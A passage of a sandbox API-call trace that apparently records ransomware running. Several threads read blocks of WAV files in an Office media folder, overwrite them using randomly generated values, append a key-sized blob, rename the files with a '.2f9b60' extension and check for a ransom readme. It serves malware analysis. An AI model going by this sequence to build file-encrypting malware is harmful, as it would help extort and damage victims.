out: _Dest="0e") returned 2 [0103.377] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="46") returned 2 [0103.377] sprintf (in: _Dest=0x1cd9e958, _Format="%c%c" | out: _Dest="e7") returned 2 [0103.377] sprintf (in: _Dest=0x1cd9e95a, _Format="%c%c" | out: _Dest="af") returned 2 [0103.377] sprintf (in: _Dest=0x1cd9e95c, _Format="%c%c" | out: _Dest="32") returned 2 [0103.377] sprintf (in: _Dest=0x1cd9e95e, _Format="%c%c" | out: _Dest="29") returned 2 [0103.377] RtlInitAnsiString (in: DestinationString=0x2decf968, SourceString="287f89e29dfda8cf6d1f838629c982635cee0e46e7af3229" | out: DestinationString="287f89e29dfda8cf6d1f838629c982635cee0e46e7af3229") [0103.377] RtlAnsiStringToUnicodeString (in: DestinationString=0x2decf938, SourceString="287f89e29dfda8cf6d1f838629c982635cee0e46e7af3229", AllocateDestinationString=1 | out: DestinationString="287f89e29dfda8cf6d1f838629c982635cee0e46e7af3229") returned 0x0 [0103.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5b00 [0103.377] wcscat (in: _Dest=0x4205d9b0, _Source="287f89e29dfd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\287f89e29dfd") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\287f89e29dfd" [0103.377] wcscat (in: _Dest=0x4205d9b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\287f89e29dfd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\287f89e29dfd.2f9b60" [0103.377] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\287f89e29dfd.2f9b60", NtPathName=0x2decf910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\287f89e29dfd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050b690 [0104.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b690) returned 1 [0104.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053af0) returned 1 [0104.795] NtQueryInformationFile (in: FileHandle=0x1604, IoStatusBlock=0x2decf978, FileInformation=0x2decf988, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2decf978, FileInformation=0x2decf988) returned 0x0 [0104.796] NtSetInformationFile (FileHandle=0x1604, IoStatusBlock=0x2decf978, FileInformation=0x2decf988, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d9b0) returned 1 [0104.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5b00) returned 1 [0104.798] FlushFileBuffers (hFile=0x1604) returned 1 [0104.973] CloseHandle (hObject=0x1604) returned 1 [0105.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1cf4d9b0 [0105.081] wcscpy (in: _Dest=0x1cf4d9b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0105.081] wcscat (in: _Dest=0x1cf4d9b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0105.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0x20 [0105.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d9b0) returned 1 [0105.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c180) returned 1 Thread: id = 899 os_tid = 0x14b4 [0101.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\arrow.wav")) returned 0x20 [0102.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV", dwFileAttributes=0x20) returned 1 [0102.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\arrow.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1600 [0102.586] GetFileSizeEx (in: hFile=0x1600, lpFileSize=0x2937fb40 | out: lpFileSize=0x2937fb40*=23030) returned 1 [0102.586] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x59f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.586] ReadFile (in: hFile=0x1600, lpBuffer=0x2937fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2937fb08, lpOverlapped=0x0 | out: lpBuffer=0x2937fac0*, lpNumberOfBytesRead=0x2937fb08*=0x4, lpOverlapped=0x0) returned 1 [0102.593] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0102.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ad0 [0102.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a70 [0102.593] NtQuerySystemTime (in: CurrentTime=0x2937fa00 | out: CurrentTime=0x2937fa00*=132462177081154000) returned 0x0 [0102.593] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x51aad266 [0102.593] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x314e2c46 [0102.593] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x458a0e14 [0102.593] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x1cf7e4cc [0102.593] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x1dd40ab9 [0102.593] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x49205692 [0102.593] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x2ed8f55 [0102.593] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x71dd8247 [0102.594] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x79ac1196 [0102.594] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x7879dd [0102.594] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x2b73b1a3 [0102.594] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x39355986 [0102.594] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x47685d3 [0102.594] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x79c66d73 [0102.594] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x5048c226 [0102.594] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x63f2c9b1 [0102.594] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x36b1f140 [0102.594] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x32257d67 [0102.594] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0xb830e7f [0102.594] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x11de5cd5 [0102.594] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x5e392aa6 [0102.594] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x71e6c326 [0102.594] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x277d093c [0102.594] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x600b82b0 [0102.594] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x16e8a8e2 [0102.594] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x351727a1 [0102.595] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x4bbfa92 [0102.595] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x40781682 [0102.595] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x3e057e97 [0102.595] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x67b79a3a [0102.595] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x256d36a3 [0102.595] RtlRandomEx (in: Seed=0x2937f9f0 | out: Seed=0x2937f9f0) returned 0x41ed3236 [0102.608] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.609] ReadFile (in: hFile=0x1600, lpBuffer=0x204ac360, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2937fa60, lpOverlapped=0x0 | out: lpBuffer=0x204ac360*, lpNumberOfBytesRead=0x2937fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0102.613] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0102.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0102.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0102.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b00) returned 1 [0102.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x204aff70 [0102.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0102.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a70 [0102.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260a70) returned 1 [0102.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0102.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0102.615] WriteFile (in: hFile=0x1600, lpBuffer=0x204aff70*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2937fa60, lpOverlapped=0x0 | out: lpBuffer=0x204aff70*, lpNumberOfBytesWritten=0x2937fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0103.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204aff70) returned 1 [0103.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ac360) returned 1 [0103.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263830 [0103.041] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.041] WriteFile (in: hFile=0x1600, lpBuffer=0x169800*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2937fb10, lpOverlapped=0x0 | out: lpBuffer=0x169800*, lpNumberOfBytesWritten=0x2937fb10*=0x104, lpOverlapped=0x0) returned 1 [0103.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0103.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e8f0 [0103.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c90 [0103.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262c90) returned 1 [0103.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0103.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c90 [0103.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263500 [0103.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263500) returned 1 [0103.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0103.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0103.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x20263500 [0103.388] sprintf (in: _Dest=0x20263500, _Format="%c%c" | out: _Dest="e1") returned 2 [0103.388] sprintf (in: _Dest=0x20263502, _Format="%c%c" | out: _Dest="0d") returned 2 [0103.388] sprintf (in: _Dest=0x20263504, _Format="%c%c" | out: _Dest="5d") returned 2 [0103.388] sprintf (in: _Dest=0x20263506, _Format="%c%c" | out: _Dest="81") returned 2 [0103.388] sprintf (in: _Dest=0x20263508, _Format="%c%c" | out: _Dest="88") returned 2 [0103.388] sprintf (in: _Dest=0x2026350a, _Format="%c%c" | out: _Dest="05") returned 2 [0103.388] sprintf (in: _Dest=0x2026350c, _Format="%c%c" | out: _Dest="2b") returned 2 [0103.388] sprintf (in: _Dest=0x2026350e, _Format="%c%c" | out: _Dest="7d") returned 2 [0103.388] sprintf (in: _Dest=0x20263510, _Format="%c%c" | out: _Dest="c9") returned 2 [0103.388] sprintf (in: _Dest=0x20263512, _Format="%c%c" | out: _Dest="2b") returned 2 [0103.388] sprintf (in: _Dest=0x20263514, _Format="%c%c" | out: _Dest="e1") returned 2 [0103.388] sprintf (in: _Dest=0x20263516, _Format="%c%c" | out: _Dest="52") returned 2 [0103.388] sprintf (in: _Dest=0x20263518, _Format="%c%c" | out: _Dest="2d") returned 2 [0103.388] sprintf (in: _Dest=0x2026351a, _Format="%c%c" | out: _Dest="8e") returned 2 [0103.388] sprintf (in: _Dest=0x2026351c, _Format="%c%c" | out: _Dest="c3") returned 2 [0103.389] sprintf (in: _Dest=0x2026351e, _Format="%c%c" | out: _Dest="d4") returned 2 [0103.389] sprintf (in: _Dest=0x20263520, _Format="%c%c" | out: _Dest="dc") returned 2 [0103.389] sprintf (in: _Dest=0x20263522, _Format="%c%c" | out: _Dest="3e") returned 2 [0103.389] RtlInitAnsiString (in: DestinationString=0x2937fb88, SourceString="e10d5d8188052b7dc92be1522d8ec3d4dc3e" | out: DestinationString="e10d5d8188052b7dc92be1522d8ec3d4dc3e") [0103.389] RtlAnsiStringToUnicodeString (in: DestinationString=0x2937fb58, SourceString="e10d5d8188052b7dc92be1522d8ec3d4dc3e", AllocateDestinationString=1 | out: DestinationString="e10d5d8188052b7dc92be1522d8ec3d4dc3e") returned 0x0 [0103.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9c250 [0103.389] wcscat (in: _Dest=0x20509c30, _Source="e10d5d818" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\e10d5d818") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\e10d5d818" [0103.389] wcscat (in: _Dest=0x20509c30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\e10d5d818.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\e10d5d818.2f9b60" [0103.389] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\e10d5d818.2f9b60", NtPathName=0x2937fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\e10d5d818.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050d000 [0104.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d000) returned 1 [0104.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420520b0) returned 1 [0104.799] NtQueryInformationFile (in: FileHandle=0x1600, IoStatusBlock=0x2937fb98, FileInformation=0x2937fba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2937fb98, FileInformation=0x2937fba8) returned 0x0 [0104.799] NtSetInformationFile (FileHandle=0x1600, IoStatusBlock=0x2937fb98, FileInformation=0x2937fba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509c30) returned 1 [0104.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c250) returned 1 [0104.847] FlushFileBuffers (hFile=0x1600) returned 1 [0106.917] CloseHandle (hObject=0x1600) returned 1 [0107.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4b60 [0107.315] wcscpy (in: _Dest=0x202a4b60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0107.315] wcscat (in: _Dest=0x202a4b60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0107.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0x20 [0107.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4b60) returned 1 [0107.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867f40) returned 1 Thread: id = 900 os_tid = 0x14b8 [0101.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\bomb.wav")) returned 0x20 [0102.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", dwFileAttributes=0x20) returned 1 [0102.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\bomb.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1614 [0102.550] GetFileSizeEx (in: hFile=0x1614, lpFileSize=0x1dc9fb60 | out: lpFileSize=0x1dc9fb60*=194166) returned 1 [0102.550] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0x2f672, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.550] ReadFile (in: hFile=0x1614, lpBuffer=0x1dc9fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1dc9fb28, lpOverlapped=0x0 | out: lpBuffer=0x1dc9fae0*, lpNumberOfBytesRead=0x1dc9fb28*=0x4, lpOverlapped=0x0) returned 1 [0102.553] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859490 [0102.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262600 [0102.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261640 [0102.553] NtQuerySystemTime (in: CurrentTime=0x1dc9fa20 | out: CurrentTime=0x1dc9fa20*=132462177080686000) returned 0x0 [0102.553] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x211c4f20 [0102.553] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x67d428cf [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x2808351e [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x6f2853a2 [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x305c84c0 [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x148c7b49 [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x1c637e23 [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x41fd348c [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x579edf5f [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x3d04efdd [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x7e75c23d [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x3b996de0 [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x63a41fdc [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x253355ac [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x2e0ab299 [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x77876e39 [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x4d9d8608 [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x3097a6a8 [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x3d8e7867 [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x3fd44bbc [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x53e70868 [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x6a5ab86a [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x685066f3 [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0xd534aa3 [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x5cb13650 [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x3f3423b9 [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x1c4b0252 [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0xd2dbefe [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x6941c381 [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x1cc0c94 [0102.554] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x4767854e [0102.555] RtlRandomEx (in: Seed=0x1dc9fa10 | out: Seed=0x1dc9fa10) returned 0x4a91c513 [0102.564] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.564] ReadFile (in: hFile=0x1614, lpBuffer=0x2049d320, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1dc9fa80, lpOverlapped=0x0 | out: lpBuffer=0x2049d320*, lpNumberOfBytesRead=0x1dc9fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0102.581] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0102.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0102.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859490 [0102.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859490) returned 1 [0102.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x204a4b40 [0102.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859490 [0102.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609b0 [0102.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202609b0) returned 1 [0102.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0102.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0102.582] WriteFile (in: hFile=0x1614, lpBuffer=0x204a4b40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1dc9fa80, lpOverlapped=0x0 | out: lpBuffer=0x204a4b40*, lpNumberOfBytesWritten=0x1dc9fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0147.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204a4b40) returned 1 [0147.831] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.831] ReadFile (in: hFile=0x1614, lpBuffer=0x2049d320, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1dc9fa80, lpOverlapped=0x0 | out: lpBuffer=0x2049d320*, lpNumberOfBytesRead=0x1dc9fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0148.017] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0148.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0148.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6380 [0148.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6380) returned 1 [0148.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e71d40 [0148.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6380 [0148.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6920 [0148.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6920) returned 1 [0148.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0148.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0148.018] WriteFile (hFile=0x1614, lpBuffer=0x41e71d40, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1dc9fa80, lpOverlapped=0x0) [0180.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e71d40) returned 1 [0180.010] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0x2ba76, lpNewFilePointer=0x0, 